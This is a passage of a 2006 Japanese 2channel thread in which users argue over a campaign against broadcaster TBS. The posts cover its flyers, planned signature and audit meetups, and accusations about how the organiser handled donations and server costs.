0286エージェント・７７４2006/08/30(水) 20:37:10ID:wDNtp34v
街頭演説とビラ配りくらはOFFで集えるか
0287エージェント・７７４2006/08/30(水) 20:38:15ID:B409E0LQ
>>285
それで良かったと思うぞ。
ﾄﾞｸﾛたんもν速だからあれで済んだ。
VIPPERが晒し遊び始めるとそいつのﾘｱﾙ人生終了するまで玩具にするから。
厨房は加減知らぬし。
0288エージェント・７７４2006/08/30(水) 20:40:14ID:tW3ATH0c

　　　　　　イラネ氏への質問まとめ


13 ：エージェント・７７４：2006/08/30(水) 02:08:40 ID:dJjerJsp
ＴＢＳの免許剥奪運動をやってる方々に質問があります。
総務省がＴＢＳの放送免許を取り消し、あるいは停止することができる法的根拠を知りたいです。
なんという法律の第何条の何々という規定に基づき処分ができるという形式で教えていただけないでしょうか。

255 ：エージェント・７７４：2006/08/30(水) 19:30:55 ID:i2MJuUoF
で、活動はこれで終わったの？
無視して続ければ？

256 ：エージェント・７７４：2006/08/30(水) 19:36:46 ID:HJslF+OA
真剣にこの運動続けたいならここでやらずに違うところでやればいいと思うよ？

239 ：エージェント・７７４：2006/08/30(水) 19:01:22 ID:Vqo3Cso4
個人情報流失するまえに
署名を取り消したいんですが？
できますか？？

264 ：エージェント・７７４：2006/08/30(水) 19:57:23 ID:6EOEQYan
>>85からコテが出てこないということは逃亡したという判断でいいのか？
0289エージェント・７７４2006/08/30(水) 20:40:57ID:eXIQGiSE
>>285
だってコピペとスクリプトだけだしな…あのスレ
0290エージェント・７７４2006/08/30(水) 20:41:51ID:XakMb34a
>>288
　みんな　バカはスルーしてるんじゃね？
0291サラたん ◆SALA/cCkcU 2006/08/30(水) 20:47:13ID:PDAMjzFK
・レス数比較
ニュー速VIP
http://sabo2.kakiko.com/bbspost/autoimg.cgi?bbs=news4vip
http://sabo2.kakiko.com/bbspost/sboard.cgi?bbs=news4vip

ニュース速報
http://sabo2.kakiko.com/bbspost/autoimg.cgi?bbs=news
http://sabo2.kakiko.com/bbspost/sboard.cgi?bbs=news

大規模OFF
http://sabo2.kakiko.com/bbspost/autoimg.cgi?bbs=offmatrix
http://sabo2.kakiko.com/bbspost/sboard.cgi?bbs=offmatrix

上記により大規模OFF板の利用者数はレス単純比較でも
ニュー速VIP＞＞＞ニュース速報＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞大規模OFF

つまり井の中の蛙。
過疎板でバカなことをやっているから、VIPには相手にされず、
ニュー速にはからかわれる。

意固地になって電波飛ばす前に現実を見ろよ。
0292エージェント・７７４2006/08/30(水) 20:49:15ID:Mijggkmk
VIP来るな
シベリア逝け
0293サラたん ◆SALA/cCkcU 2006/08/30(水) 20:51:05ID:PDAMjzFK
>>287
知らないというのは恐ろしいな。
2ちゃんねるで個人情報を暴かせたら一番なのはVIPではなくニュー速。
東京kittyが丸裸にされたのも、最近ではAV出演疑惑の社長が丸裸にされたのも、
ほかにも有名なのはそのほとんどがニュー速で血祭りにあげられているんだよ。

VIPははまると暴徒化し、統制すらとれなくなるから恐ろしい。
ニュー速はそれぞれの分野のエキスパートが片手間で暴いていくところ。
0294播州赤穂47士 ◆1GFDZ1iNhA 2006/08/30(水) 20:52:22ID:3+8vzUQo
406 ：人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc ：2005/12/09(金) 21:16:53 ID:8+nMO5pm0
>402
電凸ラジとか鳥取に限らずできるかもしれませんね その企画は面白いかもと思います
電凸中継サーバー立てようかなｗｗ

411 ：人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc ：2005/12/09(金) 21:28:08 ID:8+nMO5pm0
>409
　　　　　　　　　発信　　　　　　　　　転送：発信
電話系：　凸主 → 電話転送サーバー → 凸先
　　　　　　　　　　　　　　　　↓
　　　　　　　　　　　　　メディアサーバー
　　　　　　　　　　　　　　　　↓
　　　　　　　　　　　　　 ネット配信

まあ電話代の問題があるがな・・・

413 ：播州赤穂47士 ◆1GFDZ1iNhA ：2005/12/09(金) 21:42:34 ID:3gLXlOD/0

ｲﾗﾈ氏に提案しようと思ってましたけど、前レスに書かれていますように、不買抗議は「諸刃の剣」です。
だから、そのために、『鳥取不買抗議をせざるを得ない社会的な大義名分』が前提条件になります。

その条件をクリアするため、2ch内だけで良いですから、鳥取不買カキコすることを、2chネラーさんに許諾していただく、
賛同を得ることから始めるのが良いと思います。
>370
>闘ってる真の相手は鳥取県議会とか知事じゃない。その相手は、こんな戦いは慣れているプロ中のプロ。
>素人集団が真っ向勝負して、勝てるような相手じゃない。

>イラネさんの戦術の方がより効果的だし、その方法に社会的正義を付加では？
>多くの市民の賛同を得るためには、不買抗議は正当な抗議と大衆から認めてもらうしかない。
>そうなって始めて、反対派の不買抗議は　大衆から支持してもらえる。

>ＲＯＭされてる２ちゃねらーさんたちも　鳥取不買抗議　に充分協力してもらえると確信します。

------------

のように、KNには相手にされなかった提案も、ｲﾗﾈ氏はﾁｬﾝと聞いてくれた。
自腹を切ってでも真面目に取り組んでたし、2chの支援者にも真摯に対応してた。
今回、どうして　こんなことになったのか？ 分からんが、人間を簡単に判断すべきじゃないと思う。

KNとは、去年の3月から個人的にソリが合わなかった。でも、ベクトルは同じと思っていた。
今回、とうとう　やっちゃった・・・みたいな感じ。

だから　金銭云々より、「人間」として「信頼と信用」が大切。
どんなに行動力があっても、信頼も信用もしてもらえなければ、誰も着いていかないし、着いていけない。
多くの不特定多数の支援支持があってこそ、成り立つのに、信用と信頼を失くせば、何も出来ない。

だから、こんなことやっていたら、アンタ達の行き着く先は浅間山荘になるよって、あの時も書いた。
もちろん、ボロクソに叩かれたけどね。
0295エージェント・７７４2006/08/30(水) 20:55:30ID:lj0zU/uB
>>293
だよな。
ただ今のν速の方のスレは、＋民が多く流入してるのか何なのかは知らんが、
ν速らしからず追求の手がぬるいぬるいｗｗｗｗｗｗｗ
0296エージェント・７７４2006/08/30(水) 20:56:03ID:B409E0LQ
>>293
今日のサラたんは日本語不自由だなｗ
「VIPは加減を知らない」ってのが一番の恐ろしいところなんだがｗ

現にﾄﾞｸﾛたんはオフ板コテ連のなかでﾘｱﾙじゃ一番安全な位置に移動できてるぞｗ
0297サラたん ◆SALA/cCkcU 2006/08/30(水) 20:56:43ID:PDAMjzFK
それとな、この主催者や参加者たちにいいたい。
おまえら脇が甘すぎ。
今暴かれている情報のほとんどは、お前ら自身が提供したのが
そのほとんどなんだよ。

誘導レスに引っかかって、ポロっと余計なことを書くのがなんと多かったことか。
なにも誘導しなくても、ゴロゴロ処理してないファイルはあげるわ、
ユニーク回線使いまくるわで、目も当てられない。

頭は使うためについてんるんだから、使えよ。


ほな
0298エージェント・７７４2006/08/30(水) 20:59:52ID:Dca6vhR3
>>295
ν速のスレは生暖かく見守るスレだからいいんじゃないか？
元々この運動を潰そうと思ってる訳でもないしな。
むしろデモは推奨だったはず。
0299人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 21:00:08ID:E0jKIEt7
今後のOFF予定です

・署名提出OFF 9/27(水)この前日に署名受付を終了します
・会計監査OFF 9/10(日)

両方とも開催は東京です
0300エージェント・７７４2006/08/30(水) 21:00:48ID:R68eeP4c
>>271
＞・偏向云々はなくす（偏るのはマスコミ全てに言えることだから）
いや、これは必要。事実をそのまま伝えるべきところを歪めているのが問題
他のマスコミがやってても全然言い訳にならない
取り敢えず今はTBSがターゲットという話

その他に杉嶋氏の発言「北朝鮮側の情報操作の受け皿が何とＴＢＳ」も乗せて欲しい

公式サイトは何れマスコミの問題行為監視するというを方向で動いて欲しい
0301Mr48 ◆Mr480ldsAM 2006/08/30(水) 21:01:07ID:nV9J9pKr
>>294
なるほど、気をつけなければいけないですね
しかし、ワタクシは見失ってたな、対策は修行、勉強、修羅の道　どれでしょう

0302エージェント・７７４2006/08/30(水) 21:02:12ID:tW3ATH0c
　　　　　　イラネ氏への質問まとめ


13 ：エージェント・７７４：2006/08/30(水) 02:08:40 ID:dJjerJsp
ＴＢＳの免許剥奪運動をやってる方々に質問があります。
総務省がＴＢＳの放送免許を取り消し、あるいは停止することができる法的根拠を知りたいです。
なんという法律の第何条の何々という規定に基づき処分ができるという形式で教えていただけないでしょうか。

255 ：エージェント・７７４：2006/08/30(水) 19:30:55 ID:i2MJuUoF
で、活動はこれで終わったの？
無視して続ければ？

256 ：エージェント・７７４：2006/08/30(水) 19:36:46 ID:HJslF+OA
真剣にこの運動続けたいならここでやらずに違うところでやればいいと思うよ？

239 ：エージェント・７７４：2006/08/30(水) 19:01:22 ID:Vqo3Cso4
個人情報流失するまえに
署名を取り消したいんですが？
できますか？？

264 ：エージェント・７７４：2006/08/30(水) 19:57:23 ID:6EOEQYan
>>85からコテが出てこないということは逃亡したという判断でいいのか？
0303エージェント・７７４2006/08/30(水) 21:05:11ID:R68eeP4c
>>299
署名提出した後、イラネはこっちの活動からは手を引くの？
0304エージェント・７７４2006/08/30(水) 21:05:30ID:wDNtp34v
>>300
いあ・・・俺は運営ではないのよ。元は懐疑派
見かねて案出しただけだからあとは勝手にしてちょってとこ

指摘の部分は「右じゃねｗｗか！」って意見が多かったみたいだからそうした
0305エージェント・７７４2006/08/30(水) 21:05:51ID:+806lgEd
なんか最早、閉店準備って感じだね。
0306人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 21:06:20ID:E0jKIEt7
>>271
まあ予算もないことですし
モノクロでインク・トナー使用少な目の物をそろそろ考えるべきですね

最終的に9/11期限のTBS改善案を見てから完成と言う形で
すすめたいですね

>>294
武器投入などのシナリオを作るプロセスを共有できなかった
コアとなるロジックが弱かった

戦争にたとえるとどの辺の戦略が弱かったのかわかると思いますが
その辺はまたおいおいってとこで
0307エージェント・７７４2006/08/30(水) 21:06:40ID:eXIQGiSE
>>299
中継はしないのか？
0308人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 21:07:52ID:E0jKIEt7
>>307
署名提出はやりましょうか
見る人少ないとは思いますがやはりみんなでやってきたことですからね
0309エージェント・７７４2006/08/30(水) 21:09:07ID:Dca6vhR3
>>308
監査オフは？
0310人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 21:09:51ID:E0jKIEt7
>>309
中継はしませんー
0311エージェント・７７４2006/08/30(水) 21:10:34ID:HJslF+OA
>>310
それは何故ですか？
0312エージェント・７７４2006/08/30(水) 21:12:05ID:+806lgEd
振り返ると滑稽な活動だったな。
内容もタイミングも、多くの賛同を得られる可能性は大だったのに、
成功と言えるものが15000の署名だけだった。

頑張ってきた人には悪いけど、街宣やデモがここまで嫌われるのかって、
見本になるような自滅振りだった。
0313エージェント・７７４2006/08/30(水) 21:12:23ID:eXIQGiSE
>>310
それじゃ地方で参加してた人に悪くないか？
0314エージェント・７７４2006/08/30(水) 21:12:26ID:wDNtp34v
>>306
すすめろー
コテ消えてスレが発展しなくてつまらんしガンガレ！
0315エージェント・７７４2006/08/30(水) 21:14:50ID:R68eeP4c
>>312
街宣もデモも成功だろ
0316エージェント・７７４2006/08/30(水) 21:15:37ID:lj0zU/uB?BRZ(1700)
あいつらあぷろだ消したなｗ
0317人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 21:16:42ID:E0jKIEt7
>>312
街宣もデモも現場では全然成功でしたよ
ネット受けがいまひとつとは思いますが
当日の中継のレスを見ると評判は上々でしたから
まあ要するに問題はスレッドの盛り上げ方ですね

その辺は今後の課題ですねー

>>311
公開できる情報と公開できない情報が混在しているからです
目的は帳簿に間違いがないかどうか複数人で確認するだけですので
中継して盛り上げる必然性はないと思います
0318エージェント・７７４2006/08/30(水) 21:16:46ID:+806lgEd
>>315
資金的にマイナス、署名に繋がらない、右翼云々のボロが出る、賛同者はなかなか集まらない、

これのどこが成功といえるのか？？
0319エージェント・７７４2006/08/30(水) 21:17:04ID:eQZ1Oe7X
鳥取の時には無償だったpowerup鯖が、何で今回からいきなり有償なの？
ｲﾗﾈが私用で使ってたやつだろ？
0320エージェント・７７４2006/08/30(水) 21:17:54ID:vANYk3Je
さおり、すっかりでてこなくなったね。
0321エージェント・７７４2006/08/30(水) 21:18:29ID:tW3ATH0c
＞播州赤穂47士
いろいろとあったようだけど、このトラブルを乗り切るのに
イラネとKNに具体的なアドバイスを頼む。

他のオフで彼らといっしょに活動した人もアドバイスをお願いしたい。
0322エージェント・７７４2006/08/30(水) 21:19:18ID:eXIQGiSE
>>317
じゃあそのOffには会計士がいるのかしら？
0323エージェント・７７４2006/08/30(水) 21:19:36ID:+806lgEd
>>317
既存の支持者の評判を上げても何の意味もないでしょ？

渋谷駅前の演説はチラッと拝見したけど、
少なくても、街宣とデモは新たな火種を産んだだけで、
新たな支持者の確保、署名の増加等には全く繋がっていない。
それで資金的にマイナスだから存続は云々となって、成功と言い張れるわけがないと思うよ。
0324人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 21:19:55ID:E0jKIEt7
>>322
会計士の方の参加をお待ちしておりますー
0325エージェント・７７４2006/08/30(水) 21:20:14ID:eQZ1Oe7X
>>324
鳥取の時には無償だったpowerup鯖が、何で今回からいきなり有償なの？
ｲﾗﾈが私用で使ってたやつだろ？
0326エージェント・７７４2006/08/30(水) 21:20:57ID:B409E0LQ
>>324
プロをタダ使いすることしか考えないってのはタダのキチガイ。
0327人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 21:21:57ID:E0jKIEt7
>>326
自分は会計士いなくてもOFF参加者複数人で確認できれば
いいと思ってますよ
0328エージェント・７７４2006/08/30(水) 21:22:16ID:eQZ1Oe7X
>>327
何で俺の質問はスルーなの？
0329エージェント・７７４2006/08/30(水) 21:22:38ID:eXIQGiSE
>>327
そりゃ可笑しいだろ
0330エージェント・７７４2006/08/30(水) 21:23:06ID:R68eeP4c
>>318
署名に繋がらない、以外は目的とはずれた話だし
周知活動としてはネットよりはるかに効果あったし
特にデモはネットから見てても一般に受けているのが分るくらいだった
署名は正直、もうちょっと続けないと効果で無いと思うよ
0331人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 21:23:26ID:E0jKIEt7
>>328
てかアレだけ大々的にやればこっそり使うわけにもいかなくなってきてるんですよ
形だけでも費用発生させないと
0332エージェント・７７４2006/08/30(水) 21:24:10ID:B409E0LQ
>>327
監査に利害関係のない第三者が入らなければ馴れ合いですな。
無い袖振って車借りるより監査体制整える方が通常先なんだがｗ
0333エージェント・７７４2006/08/30(水) 21:28:01ID:eXIQGiSE
てか、普通の社会人なら分かる事だけどな>監査は外部の人
0334エージェント・７７４2006/08/30(水) 21:28:43ID:HJslF+OA
じゃあ監査オフじゃなくてただのオフでいいんじゃないか？
0335エージェント・７７４2006/08/30(水) 21:28:57ID:6EOEQYan
>>327
そんな監査offなんてする必要ないから。>>327でも書かれている通り
監査法人なり会計士なりをいれないとまったく意味が無い。
大学サークル以下の感覚で遊びでやってるなら寄付とか募るなよ。
0336エージェント・７７４2006/08/30(水) 21:29:13ID:B409E0LQ
>>333
お仕事がお仕事だから仕方ないでしょう＞株板参照のこと
0337人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 21:29:29ID:E0jKIEt7
>>332
大企業ではそうかもしれませんが
中小では実務の方が優先ですね

そもそも一任の会計ではありますが
監査OFFをして透明化するのにやぶさかではないというわけで
あとは程度問題ですね
0338エージェント・７７４2006/08/30(水) 21:29:53ID:eQZ1Oe7X
>>331
いやいや、
powerup鯖ってお前がpowerup国民運動というコンテンツを公開するのに私的に使ってる鯖だろ？
何であの鯖の一コンテンツでしかないTBSオフのカンパからその費用を捻出するのさ。
0339エージェント・７７４2006/08/30(水) 21:30:03ID:tW3ATH0c


　　　　　　イラネ氏への質問まとめ


13 ：エージェント・７７４：2006/08/30(水) 02:08:40 ID:dJjerJsp
ＴＢＳの免許剥奪運動をやってる方々に質問があります。
総務省がＴＢＳの放送免許を取り消し、あるいは停止することができる法的根拠を知りたいです。
なんという法律の第何条の何々という規定に基づき処分ができるという形式で教えていただけないでしょうか。

255 ：エージェント・７７４：2006/08/30(水) 19:30:55 ID:i2MJuUoF
で、活動はこれで終わったの？
無視して続ければ？

256 ：エージェント・７７４：2006/08/30(水) 19:36:46 ID:HJslF+OA
真剣にこの運動続けたいならここでやらずに違うところでやればいいと思うよ？

239 ：エージェント・７７４：2006/08/30(水) 19:01:22 ID:Vqo3Cso4
個人情報流失するまえに
署名を取り消したいんですが？
できますか？？

264 ：エージェント・７７４：2006/08/30(水) 19:57:23 ID:6EOEQYan
>>85からコテが出てこないということは逃亡したという判断でいいのか？
0340エージェント・７７４2006/08/30(水) 21:30:07ID:wDNtp34v
なんか追加きたから

【ビラの再考】
１．署名欄はなくす（９月で締めるってことだし、主催者も降りそうだから）
２．放送免許剥奪の一文はなくす（実現性がないから）
３．偏向云々はなくす（偏るのはマスコミ全てに言えることだから）
４．「捏造した事実」を徹底周知（事実だから）
５．TBSにリーチが掛かっていることも掲載（これも事実ね）
６．朝鮮やオウムとの関係はおまけ程度に記載（これも事実だから）
７．杉嶋氏の発言「北朝鮮側の情報操作の受け皿が何とＴＢＳ」（リクエストあったから）
８．問題発生時は署名活動に発展することを示唆

-掲載記事リクエスト-
・杉嶋氏の発言「北朝鮮側の情報操作の受け皿が何とＴＢＳ」


【公式サイト立ち上げ】
１．一般向けで２ｃｈ色が薄い（無いほうがいい）もの
２．ビラの内容を詳しく紹介
３．携帯サイトなんてあってもいいかな
４．サイトのURLはビラに記載
５．配布用ビラPDF記載
６．質問はメールにて（逐次Q&Aにて返答）
７．署名活動に発展することを示唆
８．TBSや総務省へのクレーム窓口一覧を掲載
９．FLASHなんかあればいい（金がかかるならパス）

せっかく良識者が大勢いるんだから議論や煮詰めは２ｃｈでやって
まとまったら２ｃｈから出るべきだね

OFFは街頭演説とビラ配布の集いくらい（まあ署名活動があればそれも）で
あとは他の板でやったほうがいい


300 名前：エージェント・７７４[sage] 投稿日：2006/08/30(水) 21:00:48 ID:R68eeP4c
>>271
＞・偏向云々はなくす（偏るのはマスコミ全てに言えることだから）
いや、これは必要。事実をそのまま伝えるべきところを歪めているのが問題
他のマスコミがやってても全然言い訳にならない
取り敢えず今はTBSがターゲットという話

その他に杉嶋氏の発言「北朝鮮側の情報操作の受け皿が何とＴＢＳ」も乗せて欲しい

公式サイトは何れマスコミの問題行為監視するというを方向で動いて欲しい

って案ですよ
追加はご自由に
0341人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 21:30:17ID:E0jKIEt7
今までOFFに参加してなかった外部の人の参加も
拒んでいませんよ

是非おいでください
0342エージェント・７７４2006/08/30(水) 21:33:09ID:B409E0LQ
http://www.welbe.jp/CPAoffice/governance.htm
0343エージェント・７７４2006/08/30(水) 21:34:05ID:+806lgEd
>>330
はっきりした人数はそりゃあ分からないけど、
『デモを見て署名しました』って人よりも、『ＴＢＳ見たらムカついたので実況板のスレで署名しました』って人の方が多いでしょ？明らかに。
無料でできることをせずに、あえて効果の少ない、しかも金のかかることをやった時点で、マイナス。
さらに、右翼系のボロが出たことは、明らかにこの活動の息の根を止めるきっかけのひとつになった。

あと、ネット云々よりも実際に見た連中の意見を借りれば、失敗らしいから。成功と断言するのはどうかと思うよ。

それにこのスレ見てると、失敗の理由が良く分かる。
情報量のなさ、人望のなさ、資金力のなさ（主催者の身銭を切る姿勢）、手前味噌な姿勢。
主催者や参加者の年齢は分からないけど、これから社会に出れば、こういった武器のなさや身勝手さが命取りになる。
今のうちにそれを学んで欲しいと思うよ。
0344エージェント・７７４2006/08/30(水) 21:34:42ID:Dca6vhR3
>>341
地方出身者が参加する場合交通費はカンパから出るの？
0345エージェント・７７４2006/08/30(水) 21:35:02ID:B409E0LQ
>>343
身銭切ってるならもう少しまともな使い方してるだろ。
そのぐらい外部からの見た目がずさん
0346エージェント・７７４2006/08/30(水) 21:35:08ID:tW3ATH0c
>>341
身分証明証は必須ですか？
0347エージェント・７７４2006/08/30(水) 21:36:33ID:eQZ1Oe7X
会社の鯖で費用の請求は会社からだというのなら鳥取のほうも請求がなきゃおかしいし、
結局ｲﾗﾈが私的に流用している鯖を、ｲﾗﾈのさじ加減ひとつで金とったりとらなかったりしてるだけじゃねーの？
0348人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 21:37:36ID:E0jKIEt7
>>343
まずデモは署名のみを目的とするものではありません
圧力です
広報車や演説は周知そして圧力
署名も圧力です

目的はTBS放送免許剥奪(→TBSが公正な報道をしてもらうため)
なのでそれに対して署名と街宣とデモがそれぞれぶら下がっている感じです

> 主催者の身銭を切る姿勢
十万単位で身銭を切ってるわけだが・・・まあどうでもいいけどね
好きでやってるわけだし
0349エージェント・７７４2006/08/30(水) 21:38:03ID:eQZ1Oe7X
>>348
だから、何で俺の質問はスルーなの？
0350エージェント・７７４2006/08/30(水) 21:38:57ID:eXIQGiSE
>>337
悪いけどこの辺りをはっきりさせないと、他の人権スレも胡散臭いと思われるべ。
0351人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 21:39:47ID:E0jKIEt7
>>346
不審な行動をとられる場合は身分証明を求めようとは思いますが
そんなことしたくないしー

>>344
出ないです
0352エージェント・７７４2006/08/30(水) 21:40:24ID:tW3ATH0c
>>348
その圧力はどこへの圧力なんでしょうか？
0353エージェント・７７４2006/08/30(水) 21:41:15ID:eQZ1Oe7X
それともう一つ

ｲﾗﾈは街宣車を車工場でレンタルしたと言ったが、
あの街宣車は【い】ナンバー。

【い】ナンバーのレンタカーという物はありえない。
本当はどこから借りたんだ？
0354人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 21:42:54ID:E0jKIEt7
>>352
TBSひいてはマスメディアに対するものですね

>>347
去年までがありえねー状態だったってことでｗ
明確化する方向にしました
0355エージェント・７７４2006/08/30(水) 21:44:12ID:R68eeP4c
>>343
＞右翼系のボロが出たことは
いや、これこそ2cｈでしか騒いでないし
大体、右翼でも個人参加なら全然問題ないと思うが
0356エージェント・７７４2006/08/30(水) 21:44:55ID:tW3ATH0c
>>351
監査オフ出席者のビデオ、写真撮りはありますか？
0357エージェント・７７４2006/08/30(水) 21:46:45ID:B409E0LQ
悪いがマスコミってキチガイ慣れしてるから街宣車走らせたぐらいじゃ圧力どころか呆れられるのみ。
シコってるとしか。
0358人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 21:47:07ID:E0jKIEt7
>>356
オイラの方でビデオ撮りますが写りたくない場合はモザイク入れます
なお参加者からの撮影は厳禁としたいと思います
0359エージェント・７７４2006/08/30(水) 21:47:21ID:+806lgEd
>>348
圧力って結局何なのか？

ＴＢＳから放送免許を奪うための圧力か？現在の報道姿勢を是正させるための圧力なのか？
もしかすると、このスレの支持者やアンチを納得させるための圧力ではないのか？
圧力、プレッシャー、色んな曖昧な言葉を使ってるけど、
結局もっともな言葉を、君自身が持っていないのではないか？

ＴＢＳに疑問を持っている、それは何百万人と言う人間も同じだ。だけど、どうしていいか分からない。
そこでそういう人を導くのが、最大の目的なのに、君自身がどうしていいか分かっていない。
これがさっき俺が言った、君らの弱点の『情報量のなさ』なんだよ。いってみれば勉強不足。
0360エージェント・７７４2006/08/30(水) 21:49:01ID:+806lgEd
唯一署名だけは意味があると思うけどね。
あとどんなに人望があっても、10万でヒイヒイ言ってる人に、他人はほいほい付いていかないと思うよ。
0361エージェント・７７４2006/08/30(水) 21:50:38ID:yu2bOoBy
納得できんなー募金がどこへ消えたのか
0362Mr48 ◆Mr480ldsAM 2006/08/30(水) 21:50:54ID:nV9J9pKr
>>358
それだと　タヌキさんとオレがwww
0363人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 21:50:54ID:E0jKIEt7
>>359
ずいぶん類推されておられるようですが
報道の正常化を求める方向性で

総務省に対しては→剥奪：世論の応援＝署名・街頭行動
TBSに対しては→放送法を守れ：圧力＝街頭演説・デモ他
そして、周知があります

どこに対するメッセージかによって変わっていきます
ロジックが弱い件に関しては反省点と認識しています
0364エージェント・７７４2006/08/30(水) 21:51:26ID:eQZ1Oe7X
>>354
じゃ、今現在powerup国民運動の中に鳥取のコンテンツが入ってるのは何なんだ？
あれこそありえねーだろ。
今現在鳥取とお前は関係ないんだから、お前があの鯖を私的に使ってる証左だろ。
何でお前が私的に使ってる鯖の費用をTBSオフに負担させようとしてるわけ？

大体当初は無償で鯖提供してくれる人がいたのに、何で横槍入れてわざわざ「有償」のお前のところの鯖使わせたんだ？
0365シン ◆59gBKahCk. 2006/08/30(水) 21:51:45ID:+cVN+RpI
>>321
すみません。今はなにも言えない。
俺自身も自分の行いで東京スレを３日間スレを荒らされた原因を作った経験がある。
そのとき、弁明しようと思ったがアク禁を食らって書き込めなかった。
あの時はさすがに凹んだ。あとはみんなにボロクソに言われたました。
その事については反省している。
的外れになるかも知れないが、ＫＮ氏は自分が悪いと思ったら、誤る事も必要ではないかと思う。

後、感想としてはＴＢＳのOFFは趣旨自体は間違っていないと思う。
いきなり難しい政治OFFをやっても盛り上がらない可能性が高い。
おかしいと思ったら声を出す訓練や政治に興味を持ち選挙に行く事などが
今の日本国民には必要だと思う。
今まで黙っていたから、ＴＢＳが暴走したのも原因の一つだと思う。
0366エージェント・７７４2006/08/30(水) 21:53:17ID:6EOEQYan
>>358
撮影は自分はおｋ、他はNGという事だけでおかしいじゃないの？
0367エージェント・７７４2006/08/30(水) 21:53:18ID:kF158BN7

バカばっかり
0368エージェント・７７４2006/08/30(水) 21:53:34ID:UIUN7x3O
まあ君ら自身は認識してないかもしれないが、
部外者から見たら、君らの運動は、どうみても右翼ナショナリストが反ナショナリズム(ＴＢＳの場合エセではあるが)を弾圧してるようにしかみえない。
一般市民は見抜いているんだよ。
よってこの運動が成就することはない。
0369Mr48 ◆Mr480ldsAM 2006/08/30(水) 21:55:06ID:nV9J9pKr
>>366
オレみたいに怪しいヤツが撮影するより、身元の割れてるヤツの方がイイかもよ
タヌキも盗聴したし
0370人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 21:56:55ID:E0jKIEt7
>>364
監査で通らなければ自分が会社に同額を支払うまで
3000-5000円だしね
あくまで会社のリソースを使っていて
それを俺個人の判断でタダでばんばんやると会社を私物化しているってことになるので
ある程度けじめが必要なのですよ
0371エージェント・７７４2006/08/30(水) 22:00:29ID:6EOEQYan
>>369
偏向報道、捏造報道等を是正する運動している人達が
自らの撮影だけを認め、他を排除するということは偏向と考えられない？
仮に映像を検証する材料にするにしても複数あったほうがいい。
また、あなた達は防衛の為？に周りを撮影する行為はしてたのだから禁止するには
おかしくないか？

俺はｲﾗﾈに聞いているので酔っ払いは姿慎めよ。
0372エージェント・７７４2006/08/30(水) 22:00:39ID:eQZ1Oe7X
>>370
要するに、あの鯖はお前が私的に使ってるんだろ？
何でお前が私的に使ってる鯖に会社の請求が来るのさ。

大体当初は無償で鯖提供してくれる人がいたのに、何で横槍入れてわざわざ「有償」のお前のところの鯖使わせたんだ？
0373エージェント・７７４2006/08/30(水) 22:06:03ID:R68eeP4c
>>368
一般市民は関心がないだけだと思うぞ
デモの受けが良かった事を考えればアピールの仕方次第のような
0374人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 22:07:13ID:E0jKIEt7
>>371
公開できる情報と公開できない情報が混ざっているからです
領収書は非公開です（OFFではもちろん見せますしそれやらなかったら（ｒｙ）

>>372
署名のシステムを安全に組めて、なおかつ個人情報の保護ポリシーを守れるかと言ったらどうでしょう
実名出せるか
私的に使ってるサーバーじゃなくて、回線もルーターのサーバーも・・・会社のだから
とにかく監査で承認されようがされまいが会社には小額でも俺からでも入れとくしかない
0375エージェント・７７４2006/08/30(水) 22:09:51ID:6EOEQYan
>>374
なぜ領収書は非公開（撮影不可）にする必要があるの？
それ以外に公開できない情報とは？
0376エージェント・７７４2006/08/30(水) 22:10:59ID:eQZ1Oe7X
>>374
どうしてそんな明らかに面倒になるとわかってる鯖を無理やり使わせるのさ。
大体当初は無償で鯖提供してくれる人がいたんだろ？
何で横槍入れてわざわざ「有償」のお前のところの鯖使わせたんだ？
0377Mr48 ◆Mr480ldsAM 2006/08/30(水) 22:12:26ID:nV9J9pKr
>>371
いやあ、思ったんだけど何処の誰だかわかんないヤツに映像データ取られるのってどうかね
堂々と盗撮しましたって言うのもいるし、まああれは自己防衛なんだろうけど
撮影するなら、身分が特定できないとなー、未成年の件もあるし
身元が確認出来なきゃいやだな、それと覚え書きかな、めんどーだけど

>>376
メディアサーバーじゃ無いでしょ、あれじゃストリーミングは出来ないよ
0378エージェント・７７４2006/08/30(水) 22:12:33ID:Vv323HBp
向こうの人とそういう風に決めたから。
0379エージェント・７７４2006/08/30(水) 22:12:46ID:eQZ1Oe7X
それと街宣車を借りたのは誰から借りたんだ？
「車工場でレンタルした」なんて戯言はやめてくれ。
0380エージェント・７７４2006/08/30(水) 22:14:29ID:3d6HPHfG
>>374
そうですね。
"クリヤー＝なんでもかんでも教える"ことではないですからね。
